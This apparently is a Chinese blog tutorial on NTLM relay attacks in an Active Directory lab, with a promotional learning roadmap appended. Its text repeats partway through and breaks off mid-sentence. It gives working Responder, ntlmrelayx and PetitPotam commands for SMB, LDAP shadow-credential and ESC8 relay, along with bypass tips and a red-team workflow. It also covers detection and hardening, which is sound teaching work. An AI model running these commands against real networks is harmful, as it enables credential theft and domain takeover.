免责声明本文所有技术内容仅供授权红蓝对抗、渗透测试学习研究禁止在未授权企业内网、生产域环境执行中继、欺骗、强制认证等攻击操作未授权访问属于违法行为。全部演示均基于本地搭建 AD 域靶场环境请勿对真实业务系统复现。目录1. NTLM 协议基础挑战‑应答机制为什么可以被中继1.1 NTLM 完整认证流程1.2 Net‑NTLM 哈希和 NTLM 哈希区分高频混淆点1.3 SMB 签名SMB Signing核心概念2. NTLM Relay 攻击完整原理通俗拆解中继攻击两大实现路径3. 中继攻击生效的硬性前置条件4. NTLM Relay 四大攻击应用场景详解场景 1SMB 中继最经典场景 2跨协议中继 HTTP → SMB / HTTP → LDAP场景 3LDAP 中继高危害现代内网重点利用场景 4AD‑CS 中继 ESC85. 靶场环境准备与工具环境部署工具说明环境安装6. 场景一LLMNR/NBT‑NS 投毒 SMB 中继完整复现步骤 1启动 Responder关闭 SMB、HTTP 服务交给 ntlmrelayx 接管步骤 2开启 ntlmrelayx中继目标指向 PC01开启 smb2 支持步骤 3触发受害者主机认证步骤 4中继执行结果7. 场景二HTTP 到 SMB、HTTP 到 LDAP 跨协议中继实战HTTP‑SMBHTTP‑LDAP指向域控8. 场景三LDAP 中继Shadow‑Credentials 影子凭证提权完整命令PetitPotam 配合 ntlmrelayx9. 场景四AD‑CS 中继ESC8 证书滥用10. PetitPotam无投毒强制机器账号向攻击者认证使用示例11. 中继攻击常见限制与实战绕过思路限制 1目标开启强制 SMB 签名SMB 中继失效限制 2MIC 消息完整性校验导致中继失败限制 3域控开启 LDAP 签名与通道绑定LDAP 中继失效限制 4AD‑CS 开启 EPA 扩展保护ESC8 中继失效限制 5Windows 补丁封堵 PetitPotam EfsRpc 接口限制 6Net‑NTLMv1 与 v2 差异12. 红队实战工作流与真实内网利用思路13. 蓝队视角日志检测、特征分析SMB 中继相关事件 IDLDAP 中继事件网络层面特征检测工具思路14. 全套防御加固方案组策略 注册表 系统配置加固 1全部主机强制启用 SMB 签名阻断 SMB 中继加固 2域控启用 LDAP 签名与 LDAP 通道绑定阻断 LDAP 中继、影子凭证中继加固 3AD‑CS 证书服务器开启 EPA 扩展身份验证保护防护 ESC8 中继加固 4关闭 LLMNR、NBT‑NS 协议阻断名称投毒加固 5限制 NTLM 协议使用优先 Kerberos加固 6系统更新打全安全补丁加固 7网络边界防护15. 高频误区与踩坑排错总结16. 学习总结最后网络安全需要学习那些知识网络安全零基础入门学习路线规划网络安全工程师企业级学习路线摘要NTLM RelayNTLM 中继是内网 AD 域渗透中最经典、杀伤力极强的中间人攻击技术区别于哈希传递 PtH中继攻击不需要拿到明文密码、不需要爆破 Net‑NTLM 哈希直接把受害者的 NTLM 认证数据包转发到目标服务器借用受害者身份完成登录认证。很多初学者容易混淆 NTLM 中继、哈希传递、Kerberoasting 三者经常搞不清中继生效条件、SMB 签名限制、LDAP 中继、PetitPotam 强制认证、Shadow Credentials 影子凭证利用同时对现代 Windows 环境下的绕过手段、蓝队防御加固理解片面。本文从 NTLM 协议挑战应答机制底层讲起完整拆解 NTLM‑Relay 攻击原理、核心前置条件、四大实战攻击场景SMB 中继、HTTP 中继、LDAP 中继、AD‑CS 中继、Responderntlmrelayx 完整实操复现、强制认证手段、常见限制绕过、事件日志检测、全套防御加固方案。读完本篇可以完整掌握中继攻击全链路理解为什么部分环境中继失效同时掌握蓝队排查加固思路。适合内网渗透初学者、红蓝对抗人员、安全运维工程师阅读。1. NTLM 协议基础挑战‑应答机制为什么可以被中继NTLM 是 Windows 传统身份认证协议分为 NTLMv1、NTLMv2采用挑战‑应答 Challenge‑Response模式认证全程不会直接传输用户明文密码。1.1 NTLM 完整认证流程客户端向服务端发送 Negotiate 协商包声明支持 NTLM 版本、能力服务端返回 Challenge 随机 8 字节挑战值客户端使用用户密码 NTLM 哈希加密这个 Challenge生成 Net‑NTLM ResponseNet‑NTLM 哈希发送给服务端服务端取出用户 NTLM 哈希复现加密计算比对 Response 是否一致比对一致则认证通过建立会话。关键点Net‑NTLM Response 是针对本次随机 Challenge 生成的应答这个应答本身可以被转发复用。NTLM 协议早期设计没有将认证应答与原始目标 IP 做强绑定这就是中继攻击的根源缺陷。1.2 Net‑NTLM 哈希和 NTLM 哈希区分高频混淆点NTLM HashNTHash用户密码直接哈希结果固定不变用于哈希传递 PtHNet‑NTLM Hash客户端收到服务端随机 Challenge 之后加密生成的应答每一次认证都不一样可以被中继转发但不能直接拿来做哈希传递 PtH只能中继使用。很多新手踩坑抓到 Net‑NTLM 直接拿去 hashcat 爆破爆破出密码可以用但不能直接复制这个哈希去 PtH 登录。1.3 SMB 签名SMB Signing核心概念SMB 签名是对抗 SMB 中继最重要安全机制。SMB 签名通信数据包附加数字签名校验数据包来源是否真实防止中间人篡改、转发数据包Microsoft …。模式分为协商启用、强制要求。协商启用客户端服务端两边都支持签名才开启只要一方不支持就不签名依旧可以中继。强制要求 RequireSecuritySignature必须签名没有签名数据包直接拒绝SMB 中继彻底失效。Windows 域控制器默认强制 SMB 签名普通工作站、服务器默认是协商启用不强制这就是普通机器可以被 SMB 中继的原因Microsoft …。2. NTLM Relay 攻击完整原理通俗拆解NTLM 中继攻击者处于中间人位置扮演 “转发代理” 角色。欺骗受害者让受害者向攻击者机器发起 NTLM 认证攻击者接收受害者发来的 NTLM 协商包、应答包原封不动把整套 NTLM 认证流量转发给真正的目标服务器目标服务器校验 NTLM 应答成功认为登录者是受害者账号攻击者就拥有受害者账号在目标机器上全部权限。通俗比喻A受害者把门禁应答交给中间人 Attacker中间人拿着这个应答跑到 B目标服务器门口刷门禁B 校验应答有效直接放行中间人中间人借用 A 的身份进入系统。⚠️重要中继攻击成功之后攻击者拥有受害者账号权限。如果受害者是普通域用户拿到普通用户权限如果受害者是机器账号、域管理员账号直接拿到高权限。中继攻击两大实现路径名称解析投毒LLMNR/NBT‑NS/mDNS 欺骗内网广播投毒诱导受害者主动连接攻击者 IP强制认证 Coercion不做投毒利用 Windows 协议漏洞 / 特性强制远程机器主动向攻击者 IP 发起认证代表技术 PetitPotam。3. 中继攻击生效的硬性前置条件中继不是万能必须全部满足条件才可以成功很多复现失败就是条件不满足目标服务器没有开启强制 SMB 签名SMB 中继场景强制签名直接拒绝中继数据包受害者和目标支持 NTLM 认证不能仅允许 Kerberos攻击者机器可以同时和受害者、目标服务器网络互通跨协议中继时两端协议支持 NTLM 集成认证HTTP‑SMBHTTP‑LDAPLDAP 中继场景目标域控没有开启 LDAP 签名、通道绑定 Channel BindingAD‑CS 中继Web 注册服务没有开启 EPA 扩展身份验证保护受害者账号在目标机器拥有对应访问权限。注意域控默认强制 SMB 签名所以直接 SMB 中继到域控 SMB 服务默认失败但是 LDAP 端口 389 没有强制签名时可以 LDAP 中继到域控执行影子凭证。4. NTLM Relay 四大攻击应用场景详解场景 1SMB 中继最经典流量来源SMB 协议认证转发目标另一台机器 SMB 服务攻击结果如果受害者是目标机器本地管理员可 dump SAM、执行命令、读取共享文件限制目标机器不能强制 SMB 签名域控默认无法 SMB 中继。场景 2跨协议中继 HTTP → SMB / HTTP → LDAP受害者访问攻击者构造的 HTTP 页面弹出 NTLM 身份认证攻击者拿到 HTTP 的 NTLM 认证转发到 SMB 或者 LDAP 服务。重点协议可以不一样只要 NTLMSSP 数据包格式兼容就可以跨协议中继这也是 ntlmrelayx 核心能力。场景 3LDAP 中继高危害现代内网重点利用将 NTLM 认证中继到域控 389 端口 LDAP 服务如果中继成功攻击者以受害者账号身份操作 LDAP如果受害者是机器账号可写入Shadow‑Credentials 影子凭证给机器账号添加证书后续拿到域控权限不需要 DCSync、不需要 krbtgt 哈希。限制域控没有开启 LDAP 签名和通道绑定保护。场景 4AD‑CS 中继 ESC8中继 NTLM 认证到 AD‑CS 证书服务 Web 注册接口滥用 ESC8 漏洞以受害者身份申请证书再使用证书进行 Kerberos 认证获取权限。限制服务没有开启 EPA 扩展身份验证。5. 靶场环境准备与工具环境部署靶场环境域环境 corp.local域控 DC01192.168.10.10开启 LDAP未强制 LDAP 通道绑定SMB 强制签名普通域机器 PC01192.168.10.20SMB 签名协商非强制可中继攻击机 Kali192.168.10.100Impacket 全套工具、Responder。工具说明ResponderLLMNR、NBT‑NS、mDNS 名称解析欺骗工具欺骗内网主机把解析流量导向攻击机ntlmrelayx.pyImpacket 套件中继核心工具接收 NTLM 认证流量转发至目标中继完成后执行后续攻击动作dump SAM、添加影子凭证等注意Responder 和 ntlmrelayx 端口冲突使用中继模式时Responder 关闭 SMB、HTTP 服务由 ntlmrelayx 监听对应端口。环境安装# 更新impacket建议使用最新版本支持--shadow‑credentials等参数 pip3 install impacket --upgrade git clone https://github.com/lgandx/Responder.git6. 场景一LLMNR/NBT‑NS 投毒 SMB 中继完整复现攻击目标内网 PC01192.168.10.20未强制 SMB 签名当内网用户访问一个不存在的 SMB 共享DNS 解析失败后Windows 会广播 LLMNR/NBT‑NS 查询Responder 进行投毒让受害者向攻击机进行 SMB 认证ntlmrelayx 将认证中继到 PC01。步骤 1启动 Responder关闭 SMB、HTTP 服务交给 ntlmrelayx 接管修改 Responder 配置文件Responder.confSMB Off HTTP Off HTTPS Off只保留 LLMNR、NBT‑NS、mDNS 开启负责名称投毒。python3 Responder.py -I eth0步骤 2开启 ntlmrelayx中继目标指向 PC01开启 smb2 支持impacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support参数说明-t指定中继目标地址-smb2support支持 SMB2/3现代 Windows 必须带上该参数否则中继失败。ntlmrelayx 会监听本机 SMB、HTTP 端口接收受害者发送过来的 NTLM 认证包。步骤 3触发受害者主机认证在受害者机器上访问一个不存在的 SMB 路径例如\\fakeTestShareDNS 解析失败触发 LLMNR 广播。Responder 投毒回复解析结果为攻击机 IP。受害者主动向攻击机发起 SMB NTLM 认证。步骤 4中继执行结果ntlmrelayx 收到 NTLM 认证将整套认证中继转发给目标 PC01。如果受害者账号在 PC01 具备本地管理员权限ntlmrelayx 会自动 dump SAM 本地账号哈希同时开启交互式 shell可执行系统命令如果权限不足会提示 access denied。现象攻击机终端打印 relay success导出 sam 哈希保存到本地文件。重要限制如果目标机器开启强制 SMB 签名中继直接返回失败。域控默认强制 SMB 签名smb://dc_ip 中继域控会失败。7. 场景二HTTP 到 SMB、HTTP 到 LDAP 跨协议中继实战NTLM 支持跨协议中继受害者访问攻击者的 HTTP 服务浏览器弹出 Windows 集成 NTLM 认证拿到认证之后转发给 SMB 或者 LDAP 服务。HTTP‑SMBimpacket‑ntlmrelayx.py -t smb://192.168.10.20 -smb2support受害者浏览器访问http://攻击机ip触发 NTLM 弹窗认证用户输入账号密码之后认证包被中继到目标 SMB。HTTP‑LDAP指向域控impacket‑ntlmrelayx.py -t ldap://192.168.10.10前提条件域控 LDAP 没有启用 LDAP 签名、通道绑定保护否则中继失败。8. 场景三LDAP 中继Shadow‑Credentials 影子凭证提权LDAP 中继是现代红队重点技术不需要攻破 SMB 签名限制。域控 SMB 强制签名但 389 端口 LDAP 如果没有开启通道绑定就可以执行 LDAP 中继。如果被中继的身份是域内机器账号就可以通过 LDAP 写入 Shadow‑Credentials 属性为该机器账号添加证书后续利用证书拿到该机器权限如果是域控机器账号直接获取域控权限拿下整个 AD 域。完整命令PetitPotam 配合 ntlmrelayx# ntlmrelayx监听中继目标是域控ldap开启影子凭证模块 impacket‑ntlmrelayx.py -t ldap://192.168.10.10 --shadow‑credentials --remove‑mic --smb2support参数说明--shadow‑credentials中继成功后自动写入影子凭证--remove‑mic移除 MIC 完整性校验绕过部分校验限制当域控机器账号向攻击机完成 NTLM 认证认证被中继到 ldap自动给 DC 机器账号写入影子凭证输出生成的证书 pem 文件。拿到证书后使用 gettgtpkinit.py 获取 TGT 票据完成域控接管。风险提示该操作会修改 AD 对象属性红蓝对抗测试结束务必清理影子凭证残留会造成持久化后门。9. 场景四AD‑CS 中继ESC8 证书滥用ESC8 漏洞原理NTLM 中继到 AD‑CS 证书服务 Web 注册接口以受害者身份申请用户证书使用证书进行 Kerberos 认证。前提条件AD‑CS 服务没有开启 EPA 扩展身份验证保护。ntlmrelayx 命令示例impacket‑ntlmrelayx.py -t http://192.168.10.10/certsrv/ -smb2support中继成功后工具自动申请证书输出 pfx 证书文件。10. PetitPotam无投毒强制机器账号向攻击者认证传统 LLMNR 投毒依赖内网广播需要受害者主动触发访问不存在共享PetitPotam 可以强制远程 Windows 主机包括域控主动向攻击者 IP 发起 NTLM 认证不需要用户交互不需要广播欺骗。原理滥用 MS‑EFSRPC 协议接口调用 EfsRpcOpenFileRaw 函数强制目标机器访问攻击者指定 UNC 路径触发机器账号的 NTLM 认证。注意PetitPotam 不是漏洞是协议特性高版本 Windows 已经打补丁限制该行为。使用示例攻击机已经开启 ntlmrelayx 监听另一终端执行 PetitPotampython3 PetitPotam.py 192.168.10.100 192.168.10.10参数攻击机 IP目标机器 IP强制目标机器域控向攻击机 SMB 发起认证。此时域控机器账号的 NTLM 认证到达 ntlmrelayx中继转发至 ldap写入 Shadow‑Credentials 影子凭证完成域提权。攻击链路总结PetitPotam 强制 DC 认证到攻击机 → ntlmrelayx 接收 DC 机器账号 NTLM → 中继到 ldap://DC → 添加 Shadow‑Credentials → 获取 DC 权限。11. 中继攻击常见限制与实战绕过思路限制 1目标开启强制 SMB 签名SMB 中继失效绕过思路放弃 SMB 协议改用 LDAP 中继、AD‑CS ESC8 中继LDAP 不受 SMB 签名控制。限制 2MIC 消息完整性校验导致中继失败部分环境 NTLM 数据包带有 MIC 完整性校验数据包转发后校验不通过直接拒绝。ntlmrelayx 参数--remove‑mic移除 MIC 字段实现绕过但是部分系统补丁之后该绕过失效。限制 3域控开启 LDAP 签名与通道绑定LDAP 中继失效该保护是微软官方防护手段开启之后 LDAP 中继彻底失效几乎没有简单绕过方式。限制 4AD‑CS 开启 EPA 扩展保护ESC8 中继失效EPA 保护 HTTP 集成 NTLM 认证ESC8 无法中继无简易绕过。限制 5Windows 补丁封堵 PetitPotam EfsRpc 接口新版 Windows Server 关闭 EfsRpcOpenFileRaw 调用PetitPotam 失效可以寻找其他强制认证原语PrinterBug 等强制触发认证。限制 6Net‑NTLMv1 与 v2 差异NTLMv1 应答更容易爆破现代 Windows 默认使用 NTLMv2爆破难度高但依旧可以中继。中继不在乎 v1/v2 版本只要应答合法就可以转发。12. 红队实战工作流与真实内网利用思路真实红蓝对抗中 NTLM 中继标准工作流内网信息收集扫描内网机器识别哪些主机没有强制 SMB 签名部署 Responder ntlmrelayx开启 SMB、LDAP 中继方式 A依靠内网 LLMNR/NBT‑NS 投毒等待普通用户触发解析请求方式 B使用 PetitPotam/PrinterBug 强制域控、服务器机器账号向攻击机认证优先尝试 LDAP 中继写入 Shadow‑Credentials其次尝试 ESC8普通工作站做 SMB 中继 dump SAM获取凭证之后横向移动、权限维持。实战经验现代企业域控全部开启强制 SMB 签名SMB 直接中继域控已经几乎不可能LDAP 中继、ESC8 成为中继攻击主要利用方向。13. 蓝队视角日志检测、特征分析NTLM 中继攻击会留下系统事件日志SIEM 可以配置告警规则。SMB 中继相关事件 ID4624 登录成功事件目标服务器出现异常来源的 NTLM 登录登录账号是内网用户但是登录来源 IP 不是正常业务客户端是攻击者 IP4625 登录失败中继条件不满足时大量认证失败日志。LDAP 中继事件4662LDAP 对象属性操作事件当写入 Shadow‑Credentials 属性会触发 4662 日志监控该事件发现陌生客户端修改机器账号 Shadow‑Credentials 为高风险告警。网络层面特征内网出现大量 LLMNR、NBT‑NS 广播包对应 Responder 投毒行为大量机器向同一个陌生攻击机 IP 发起 SMB/HTTP NTLM 认证域控 LDAP 来自非业务 IP 的 NTLM 绑定请求。检测工具思路批量扫描内网主机 SMB 签名配置找出未强制签名风险主机审计域控 LDAP 通道绑定、EPA 配置状态定期巡检 AD 中机器账号 Shadow‑Credentials 属性发现异常证书数据。14. 全套防御加固方案组策略 注册表 系统配置NTLM 中继防御是多层防护单一配置无法完全阻断需要组合配置。加固 1全部主机强制启用 SMB 签名阻断 SMB 中继组策略路径计算机配置 → 策略 → Windows设置 → 安全设置 → 本地策略 → 安全选项Microsoft 网络客户端对通信进行数字签名始终 → 启用Microsoft 网络服务器对通信进行数字签名始终 → 启用PowerShell 命令本地配置Set‑SmbClientConfiguration -RequireSecuritySignature $true -Force Set‑SmbServerConfiguration -RequireSecuritySignature $true -Force注意全部工作站、服务器都要配置不仅仅域控只配置域控普通服务器依旧会被 SMB 中继攻击。加固 2域控启用 LDAP 签名与 LDAP 通道绑定阻断 LDAP 中继、影子凭证中继域控制器组策略配置启用 LDAP 服务器签名要求开启通道绑定保护。开启之后 389 端口 LDAP NTLM 中继直接拒绝。加固 3AD‑CS 证书服务器开启 EPA 扩展身份验证保护防护 ESC8 中继IIS 站点 certsrv 应用程序开启扩展保护身份验证 EPA防护 HTTP NTLM 中继。加固 4关闭 LLMNR、NBT‑NS 协议阻断名称投毒组策略关闭 LLMNR防火墙拦截 UDP 137/138 NBT‑NS 流量从源头阻止 Responder 广播投毒。加固 5限制 NTLM 协议使用优先 Kerberos使用组策略 Restrict NTLM审计 NTLM 流量逐步限制、禁止 NTLM优先使用 Kerberos 身份认证。加固 6系统更新打全安全补丁修复 PetitPotam 等强制认证原语对应的协议接口阻止攻击者强制机器账号对外认证。加固 7网络边界防护内网防火墙限制不必要出站 SMB445访问陌生内网 IP限制机器账号随意向外发起 SMB 连接。15. 高频误区与踩坑排错总结误区拿到 Net‑NTLM 应答哈希可以直接哈希传递 PtH 登录错误。Net‑NTLM Response 是针对单次 Challenge 的应答只能中继转发不能直接 PtH只可以拿来 hashcat 爆破出明文密码。误区SMB 中继可以直接中继域控默认失败域控强制 SMB 签名可以改用 LDAP 中继LDAP 389。误区开启协商 SMB 签名就可以防御中继错误协商签名只有两端同时支持才启用攻击者可以在协商阶段拒绝签名协商模式无法防御中继必须配置 “始终” 强制签名。误区Responder 打开 SMB 同时打开 ntlmrelayx端口冲突会直接报错。使用中继场景 Responder.conf 必须关闭 SMB、HTTP 服务交由 ntlmrelayx 监听端口。中继成功但是权限不足dump 不出 SAM受害者账号不是目标机器本地管理员中继登录成功但是权限不够属于正常现象。中继得到的权限完全等于受害者账号权限。PetitPotam 执行成功但是 ntlmrelayx 没有收到认证检查防火墙 445 端口攻击机防火墙放行入站 SMB确认 impacket 版本足够新确认目标没有打补丁限制 EfsRpc 接口。LDAP 中继执行 Shadow‑Credentials 失败确认域控没有开启 LDAP 签名和通道绑定确认被中继账号是机器账号确认使用参数 --remove‑mic。16. 学习总结NTLM Relay 中继攻击是内网 AD 域渗透中威力巨大的中间人攻击核心逻辑不爆破密码转发 NTLM 挑战应答数据包借用受害者身份登录目标服务器。基础概念区分NTLM 哈希用于 PtHNet‑NTLM 应答用于中继SMB 签名是 SMB 中继的核心防护。四大场景SMB 中继、跨协议 HTTP 中继、LDAP 中继写影子凭证、AD‑CS ESC8 证书中继现代环境 LDAP 中继、ESC8 是主要攻击手段。攻击两种触发模式LLMNR/NBT‑NS 广播投毒PetitPotam 等强制认证原语无需用户交互。生效硬性条件目标不能强制对应协议签名保护域控 SMB 强制签名SMB 中继域控默认失败。防御多层组合全主机强制 SMB 签名域控开启 LDAP 签名 通道绑定AD‑CS 开启 EPA关闭 LLMNR/NBT‑NS限制 NTLM 协议系统打补丁。检测思路监控 4624 登录事件、4662 LDAP 属性修改事件监控内网 LLMNR 广播流量。再次提醒中继、名称投毒、强制认证技术仅限授权靶场、授权红蓝对抗环境使用严禁在未授权生产网络执行。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】 
长河君 · 2026/10/14 1:32:23 · 阅读 1.2k NTLM Relay 中继攻击完整实战｜多种场景、绕过限制、防御手段
免责声明本文所有技术内容仅供授权红蓝对抗、渗透测试学习研究禁止在未授权企业内网、生产域环境执行中继、欺骗、强制认证等攻击操作未授权访问属于违法行为。全部演示均基于本地搭建 AD 域靶场环境请勿对真实业务系统复现。目录1. NTLM 协议基础挑战‑应答机制为什么可以被中继1.1 NTLM 完整认证流程1.2 Net‑NTLM 哈希和 NTLM 哈希区分高频混淆点1.3 SMB 签名SMB Signing核心概念2. NTLM Relay 攻击完整原理通俗拆解中继攻击两大实现路径3. 中继攻击生效的硬性前置条件4. NTLM Relay 四大攻击应用场景详解场景 1SMB 中继最经典场景 2跨协议中继 HTTP → SMB / HTTP → LDAP场景 3LDAP 中继高危害现代内网重点利用场景 4AD‑CS 中继 ESC85. 靶场环境准备与工具环境部署工具说明环境安装6. 场景一LLMNR/NBT‑NS 投毒 SMB 中继完整复现步骤 1启动 Responder关闭 SMB、HTTP 服务交给 ntlmrelayx 接管步骤 2开启 ntlmrelayx中继目标指向 PC01开启 smb2 支持步骤 3触发受害者主机认证步骤 4中继执行结果7. 场景二HTTP 到 SMB、HTTP 到 LDAP 跨协议中继实战HTTP‑SMBHTTP‑LDAP指向域控8. 场景三LDAP 中继Shadow‑Credentials 影子凭证提权完整命令PetitPotam 配合 ntlmrelayx9. 场景四AD‑CS 中继ESC8 证书滥用10. PetitPotam无投毒强制机器账号向攻击者认证使用示例11. 中继攻击常见限制与实战绕过思路限制 1目标开启强制 SMB 签名SMB 中继失效限制 2MIC 消息完整性校验导致中继失败限制 3域控开启 LDAP 签名与通道绑定LDAP 中继失效限制 4AD‑CS 开启 EPA 扩展保护ESC8 中继失效限制 5Windows 补丁封堵 PetitPotam EfsRpc 接口限制 6Net‑NTLMv1 与 v2 差异12. 红队实战工作流与真实内网利用思路13. 蓝队视角日志检测、特征分析SMB 中继相关事件 IDLDAP 中继事件网络层面特征检测工具思路14. 全套防御加固方案组策略 注册表 系统配置加固 1全部主机强制启用 SMB 签名阻断 SMB 中继加固 2域控启用 LDAP 签名与 LDAP 通道绑定阻断 LDAP 中继、影子凭证中继加固 3AD‑CS 证书服务器开启 EPA 扩展身份验证保护防护 ESC8 中继加固 4关闭 LLMNR、NBT‑NS 协议阻断名称投毒加固 5限制 NTLM 协议使用优先 Kerberos加固 6系统更新打全安全补丁加固 7网络边界防护15. 高频误区与踩坑排错总结16. 学习总结最后网络安全需要学习那些知识网络安全零基础入门学习路线规划网络安全工程师企业级学习路线摘要NTLM RelayNTLM 中继是内网 AD 域渗透中最经典、杀伤力极强的中间人攻击技术区别于哈希传递 PtH中继攻击不需要拿到明文密码、不需要爆破 Net‑NTLM 哈希直接把受害者的 NTLM 认证数据包转发到目标服务器借用受害者身份完成登录认证。很多初学者容易混淆 NTLM 中继、哈希传递、Kerberoasting 三者经常搞不清中继生效条件、SMB 签名限制、LDAP 中继、PetitPotam 强制认证、Shadow Credentials 影子凭证利用同时对现代 Windows 环境下的绕过手段、蓝队防御加固理解片面。本文从 NTLM 协议挑战应答机制底层讲起完整拆解 NTLM‑Relay 攻击原理、核心前置条件、四大实战攻击场景SMB 中继、HTTP 中继、LDAP 中继、AD‑CS 中继、Responderntlmrelayx 完整实操复现、强制认证手段、常见限制绕过、事件日志检测、全套防御加固方案。读完本篇可以完整掌握中继攻击全链路理解为什么部分环境中继失效同时掌握蓝队排查加固思路。适合内网渗透初学者、红蓝对抗人员、安全运维工程师阅读。1. NTLM 协议基础挑战‑应答机制为什么可以被中继NTLM 是 Windows 传统身份认证协议分为 NTLMv1、NTLMv2采用挑战‑应答 Challenge‑Response模式认证全程不会直接传输用户明文密码。1.1 NTLM 完整认证流程客户端向服务端发送 Negotiate 协商包声明支持 NTLM 版本、能力服务端返回 Challenge 随机 8 字节挑战值客户端使用用户密码 NTLM 哈希加密这个 Challenge生成 Net‑NTLM ResponseNet‑NTLM 哈希发送给服务端服务端取出用户 NTLM 哈希复现加密计算比对 Response 是否一致比对一致则认证通过建立会话。关键点Net‑NTLM Response 是针对本次随机 Challenge 生成的应答这个应答本身可以被转发复用。NTLM 协议早期设计没有将认证应答与原始目标 IP 做强绑定这就是中继攻击的根源缺陷。1.2 Net‑NTLM 哈希和 NTLM 哈希区分高频混淆点NTLM HashNTHash用户密码直接哈希结果固定不变用于哈希传递 PtHNet‑NTLM Hash客户端收到服务端随机 Challenge 之后加密生成的应答每一次认证都不一样可以被中继转发但不能直接拿来做哈希传递 PtH只能中继使用。很多新手踩坑抓到 Net‑NTLM 直接拿去 hashcat 爆破爆破出密码可以用但不能直接复制这个哈希去 PtH 登录。1.3 SMB 签名SMB Signing核心概念SMB 签名是对抗 SMB 中继最重要安全机制。SMB 签名通信数据包附加数字签名校验数据包来源是否真实防止中间人篡改、转发数据包Microsoft …。模式分为协商启用、强制要求。协商启用客户端服务端两边都支持签名才开启只要一方不支持就不签名依旧可以中继。强制要求 RequireSecuritySignature必须签名没有签名数据包直接拒绝SMB 中继彻底失效。Windows 域控制器默认强制 SMB 签名普通工作站、服务器默认是协商启用不强制这就是普通机器可以被 SMB 中继的原因Microsoft …。2. NTLM Relay 攻击完整原理通俗拆解NTLM 中继攻击者处于中间人位置扮演 “转发代理” 角色。欺骗受害者让受害者向攻击者机器发起 NTLM 认证攻击者接收受害者发来的 NTLM 协商包、应答包原封不动把整套 NTLM 认证流量转发给真正的目标服务器目标服务器校验 NTLM 应答成功认为登录者是受害者账号攻击者就拥有受害者账号在目标机器上全部权限。通俗比喻A受害者把门禁应答交给中间人 Attacker中间人拿着这个应答跑到 B目标服务器门口刷门禁B 校验应答有效直接放行中间人中间人借用 A 的身份进入系统。⚠️重要中继攻击成功之后攻击者拥有受害者账号权限。如果受害者是普通域用户拿到普通用户权限如果受害者是机器账号、域管理员账号直接拿到高权限。中继攻击两大实现路径名称解析投毒LLMNR/NBT‑NS/mDNS 欺骗内网广播投毒诱导受害者主动连接攻击者 IP强制认证 Coercion不做投毒利用 Windows 协议漏洞 / 特性强制远程机器主动向攻击者 IP 发起认证代表技术 PetitPotam。3. 中继攻击生效的硬性前置条件中继不是万能必须全部满足条件才可以成功很多复现失败就是条件不满足目标服务器没有开启强制 SMB 签名SMB 中继场景强制签名直接拒绝中继数据包受害者和目标支持 NTLM 认证不能仅允许 Kerberos攻击者机器可以同时和受害者、目标服务器网络互通跨协议中继时两端协议支持 NTLM 集成认证HTTP‑SMBHTTP‑LDAPLDAP 中继场景目标域控没有开启 LDAP 签名、通道绑定 Channel BindingAD‑CS 中继Web 注册服务没有开启 EPA 扩展身份验证保护受害者账号在目标机器拥有对应访问权限。注意域控默认强制 SMB 签名所以直接 SMB 中继到域控 SMB 服务默认失败但是 LDAP 端口 389 没有强制签名时可以 LDAP 中继到域控执行影子凭证。4. NTLM Relay 四大攻击应用场景详解场景 1SMB 中继最经典流量来源SMB 协议认证转发目标另一台机器 SMB 服务攻击结果如果受害者是目标机器本地管理员可 dump SAM、执行命令、读取共享文件限制目标机器不能强制 SMB 签名域控默认无法 SMB 中继。场景 2跨协议中继 HTTP → SMB / HTTP → LDAP受害者访问攻击者构造的 HTTP 页面弹出 NTLM 身份认证攻击者拿到 HTTP 的 NTLM 认证转发到 SMB 或者 